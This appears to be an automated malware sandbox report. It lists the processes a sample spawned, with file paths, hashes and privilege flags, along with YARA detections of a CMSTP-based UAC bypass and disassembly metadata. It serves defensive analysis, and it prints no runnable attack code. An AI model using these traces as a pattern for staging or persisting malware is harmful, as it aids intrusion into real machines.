
                                                                                                                                                                  General

                                                                                                                                                                  Target ID:9
                                                                                                                                                                  Start time:09:43:34
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\KNVYINNN.exe"
                                                                                                                                                                  Imagebase:0x7ff7b1dd0000
                                                                                                                                                                  File size:6'354'975 bytes
                                                                                                                                                                  MD5 hash:E06AFCDB16D22BD45BC3A5B01C96DA3A
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:10
                                                                                                                                                                  Start time:09:43:35
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Imagebase:0x240000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:11
                                                                                                                                                                  Start time:09:43:35
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:12
                                                                                                                                                                  Start time:09:43:37
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\second.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\second.exe"
                                                                                                                                                                  Imagebase:0x7ff794540000
                                                                                                                                                                  File size:4'166'425 bytes
                                                                                                                                                                  MD5 hash:47CB10EBF122AEA1D817C5B57737C2FC
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 42%, ReversingLabs
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:13
                                                                                                                                                                  Start time:09:43:38
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\Virtual.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Users\user\Virtual.exe"
                                                                                                                                                                  Imagebase:0x7ff724640000
                                                                                                                                                                  File size:3'559'696 bytes
                                                                                                                                                                  MD5 hash:C8A2DE7077F97D4BCE1A44317B49EF41
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                  Reputation:low
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:14
                                                                                                                                                                  Start time:09:43:47
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                  Imagebase:0x7ff6eef20000
                                                                                                                                                                  File size:55'320 bytes
                                                                                                                                                                  MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:15
                                                                                                                                                                  Start time:09:43:51
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe
                                                                                                                                                                  Imagebase:0x7ff690ae0000
                                                                                                                                                                  File size:3'559'696 bytes
                                                                                                                                                                  MD5 hash:C8A2DE7077F97D4BCE1A44317B49EF41
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:16
                                                                                                                                                                  Start time:09:44:03
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Imagebase:0x240000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:17
                                                                                                                                                                  Start time:09:44:03
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:18
                                                                                                                                                                  Start time:09:44:04
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  Imagebase:0x7ff71e800000
                                                                                                                                                                  File size:2'364'728 bytes
                                                                                                                                                                  MD5 hash:967F4470627F823F4D7981E511C9824F
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000002.2683907473.00000000026B2000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:19
                                                                                                                                                                  Start time:09:44:18
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\explorer.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\explorer.exe
                                                                                                                                                                  Imagebase:0x7ff72b770000
                                                                                                                                                                  File size:5'141'208 bytes
                                                                                                                                                                  MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:20
                                                                                                                                                                  Start time:09:44:22
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\pyexec.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Users\user\pyexec.exe"
                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                  File size:29'152 bytes
                                                                                                                                                                  MD5 hash:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.2453490254.0000000003555000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:21
                                                                                                                                                                  Start time:09:44:26
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                  File size:29'152 bytes
                                                                                                                                                                  MD5 hash:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000015.00000002.2552101961.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:23
                                                                                                                                                                  Start time:09:44:31
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Imagebase:0x240000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000017.00000002.2605244009.0000000004C08000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000017.00000002.2604784415.0000000002C50000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:24
                                                                                                                                                                  Start time:09:44:31
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:28
                                                                                                                                                                  Start time:09:44:41
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe"
                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                  File size:29'152 bytes
                                                                                                                                                                  MD5 hash:B6F6C3C38568EE26F1AC70411A822405
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001C.00000002.2696241542.0000000003591000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:29
                                                                                                                                                                  Start time:09:44:45
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                  Commandline:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  Imagebase:0x240000
                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Yara matches:
                                                                                                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001D.00000002.2903997125.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  General

                                                                                                                                                                  Target ID:30
                                                                                                                                                                  Start time:09:44:45
                                                                                                                                                                  Start date:07/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  Disassembly

                                                                                                                                                                  Reset < >

                                                                                                                                                                    Executed Functions

                                                                                                                                                                    Function 070B1EF8 Relevance: 9.0, Strings: 7, Instructions: 207COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: $kq$$kq$$kq$$kq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-1531575357
                                                                                                                                                                    • Opcode ID: 172301f9a31bec35d5d2bd56e89a1acac369b8099e67bf061233527943190807
                                                                                                                                                                    • Instruction ID: 4c07d7aa540aa67aa281ada02f4a75dad098e3e2d13f75d884036555cfb566a8
                                                                                                                                                                    • Opcode Fuzzy Hash: 172301f9a31bec35d5d2bd56e89a1acac369b8099e67bf061233527943190807
                                                                                                                                                                    • Instruction Fuzzy Hash: 0B6147B071020ADFCB749F68C8506EB7BE2BF85310F10866AE515CB292CB35DE45C791
                                                                                                                                                                    Function 070B1288 Relevance: 6.6, Strings: 5, Instructions: 357COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: 4'kq$4'kq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-1023320533
                                                                                                                                                                    • Opcode ID: a4f15c29ab9d2a46115b7734de63ac63bc87226212ed08b3040e797fdbb9df80
                                                                                                                                                                    • Instruction ID: 81db9de7a8b397d107a11a5228275fca70bc3902d5610c4097345643175c4a0b
                                                                                                                                                                    • Opcode Fuzzy Hash: a4f15c29ab9d2a46115b7734de63ac63bc87226212ed08b3040e797fdbb9df80
                                                                                                                                                                    • Instruction Fuzzy Hash: B7C157B0B0020EDFCB748B29D4206EEBBE6AF89210F24817AD455CB391EF35DA45C791
                                                                                                                                                                    Function 070B1780 Relevance: 6.5, Strings: 5, Instructions: 284COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: tPkq$tPkq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-3717473988
                                                                                                                                                                    • Opcode ID: efd4d31e408e131779730b79625aa6c3561921cffa335047364554ce9b04bb39
                                                                                                                                                                    • Instruction ID: fe35a6350da7c7f8c10acdf5fd9cdc5f68bca54a31638fc17475becbb6eabcb0
                                                                                                                                                                    • Opcode Fuzzy Hash: efd4d31e408e131779730b79625aa6c3561921cffa335047364554ce9b04bb39
                                                                                                                                                                    • Instruction Fuzzy Hash: FE9128707002099FCB349F68D420AEABBE7AF89710F14C16AE5058F395CE35DE41C791
                                                                                                                                                                    Function 070B1ED7 Relevance: 6.4, Strings: 5, Instructions: 115COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: $kq$$kq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-2631961794
                                                                                                                                                                    • Opcode ID: 6e9e412b1f8fcfbd71237abdff4439888b87ac35876913c2b2bfe1d5924324d5
                                                                                                                                                                    • Instruction ID: 57dddcd8183a4bdbc6e01c50e65e454c19230d4e9488b93831f13b337c64f069
                                                                                                                                                                    • Opcode Fuzzy Hash: 6e9e412b1f8fcfbd71237abdff4439888b87ac35876913c2b2bfe1d5924324d5
                                                                                                                                                                    • Instruction Fuzzy Hash: FD41CFB0A2530ADFDB75CF14C554BEA7BF1BF06210F1582A6E514CB162C739EA80CB91
                                                                                                                                                                    Function 070B175F Relevance: 3.9, Strings: 3, Instructions: 164COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: tPkq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-1005548071
                                                                                                                                                                    • Opcode ID: 1228afd54aeffc8608defa09a57c41bb349b79845fb6349c8fa840e898054b9c
                                                                                                                                                                    • Instruction ID: 45e05bac1221f0cfb6e3aed2ba7eb37a9d71a502c75e7b313dc8ac1512c47857
                                                                                                                                                                    • Opcode Fuzzy Hash: 1228afd54aeffc8608defa09a57c41bb349b79845fb6349c8fa840e898054b9c
                                                                                                                                                                    • Instruction Fuzzy Hash: E851C4B0B002499FDB34CF65C564AEABBF2BF45710F18C296E4149B295CB35EE41CBA1
                                                                                                                                                                    Function 04109F88 Relevance: 3.2, Strings: 2, Instructions: 669COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: (Xpq$LRkq
                                                                                                                                                                    • API String ID: 0-1581626736
                                                                                                                                                                    • Opcode ID: 9199863d2f48dc007e21c023e6c770b5f3bc2266117f5249a6d09b86c601690e
                                                                                                                                                                    • Instruction ID: bf3993c7522c37fc66e1a53b56a230b8c33b4be7a955113c55d6378dd2e08835
                                                                                                                                                                    • Opcode Fuzzy Hash: 9199863d2f48dc007e21c023e6c770b5f3bc2266117f5249a6d09b86c601690e
                                                                                                                                                                    • Instruction Fuzzy Hash: F7527B34B00318CFDB24DB64C894BADB7B2AF85344F1181A9E949AB3A5DF74AD81CF51
                                                                                                                                                                    Function 070B0390 Relevance: 2.7, Strings: 2, Instructions: 171COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: tPkq$tPkq
                                                                                                                                                                    • API String ID: 0-1241829555
                                                                                                                                                                    • Opcode ID: 8f80a892091820ab5bf4dca27d68e2b3b80b8906c3bb8dea1e60be161b6b3aab
                                                                                                                                                                    • Instruction ID: 4650cc86ac515e9af9e73fff81cbef471e114afa3f25781898dd10070debd9bd
                                                                                                                                                                    • Opcode Fuzzy Hash: 8f80a892091820ab5bf4dca27d68e2b3b80b8906c3bb8dea1e60be161b6b3aab
                                                                                                                                                                    • Instruction Fuzzy Hash: 785167B17042559FCB719A68D8406EBFBE6AF89210F24C66AD549CF281CB71CE46C7A0
                                                                                                                                                                    Function 04109F5D Relevance: 2.7, Strings: 2, Instructions: 156COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: (Xpq$LRkq
                                                                                                                                                                    • API String ID: 0-1581626736
                                                                                                                                                                    • Opcode ID: 47ebbe982da54b993c6b4db00f701e90125eca034ef217bf10b49ccb40e713c7
                                                                                                                                                                    • Instruction ID: 0030e5065bf7a3dce706fd71a806909c8bd17e4345d5a55f54ac520347764986
                                                                                                                                                                    • Opcode Fuzzy Hash: 47ebbe982da54b993c6b4db00f701e90125eca034ef217bf10b49ccb40e713c7
                                                                                                                                                                    • Instruction Fuzzy Hash: 53517D30B043149FDB15CB68D850B9EBBB2FF89304F1181AAE545AB3A5DBB1AD41CF51
                                                                                                                                                                    Function 0410B46B Relevance: .9, Instructions: 936COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 3ba840773c73af4c0337c3f8cd7e4c96a92d51d95461ca8f01db8149bc4a0aa0
                                                                                                                                                                    • Instruction ID: a559ec34098c3f12e6e505fbe81be27483b8e0d0a29641d47ca5c9d906a3bb89
                                                                                                                                                                    • Opcode Fuzzy Hash: 3ba840773c73af4c0337c3f8cd7e4c96a92d51d95461ca8f01db8149bc4a0aa0
                                                                                                                                                                    • Instruction Fuzzy Hash: E3522834A052089FCB15CFA8D584A9DBBB2FF88310F25C199E805AB3A5CB75FD45CB90
                                                                                                                                                                    Function 04105D48 Relevance: .6, Instructions: 630COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: e082476149824f8b10b9b3d905b8955a792a516d494605502a8e77fb85df8901
                                                                                                                                                                    • Instruction ID: 961d35e4cb29d799fbc40ff193982bb07ebcfa58bee4a9c3e2bbbccb207f03fa
                                                                                                                                                                    • Opcode Fuzzy Hash: e082476149824f8b10b9b3d905b8955a792a516d494605502a8e77fb85df8901
                                                                                                                                                                    • Instruction Fuzzy Hash: 2B42F774A01209AFDB14DF98D584A9DFBB2FF88314F25C199E804AB3A5C775ED81CB90
                                                                                                                                                                    Function 04103650 Relevance: .6, Instructions: 571COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 85f8c66e8cd4a62c981e6de12c169d1cfc307ffba95bd7798280a0460fc4a6c6
                                                                                                                                                                    • Instruction ID: c2061b7f55ca2b92bd6f46773ef734598cb825349a57750cef2d3f9ec668767d
                                                                                                                                                                    • Opcode Fuzzy Hash: 85f8c66e8cd4a62c981e6de12c169d1cfc307ffba95bd7798280a0460fc4a6c6
                                                                                                                                                                    • Instruction Fuzzy Hash: BD320874A00208AFDB15DFA8D584A9DFBF2BF48314F25C199E814AB3A5C771ED85CB90
                                                                                                                                                                    Function 04104A98 Relevance: .3, Instructions: 335COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 5a73adc48209440db726e074fe9a6b4c38382bf06ab7e6e81419718dccf3017f
                                                                                                                                                                    • Instruction ID: 65fdd243864cbd049bbd9cc6a58771650a5200839a3187b4cd69068686f5f036
                                                                                                                                                                    • Opcode Fuzzy Hash: 5a73adc48209440db726e074fe9a6b4c38382bf06ab7e6e81419718dccf3017f
                                                                                                                                                                    • Instruction Fuzzy Hash: 93D12934A00208AFDB04DF98D5C4A9DBBB2FF88310F25C195E905AB3A5D775ED81CB90
                                                                                                                                                                    Function 041029F0 Relevance: .2, Instructions: 243COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
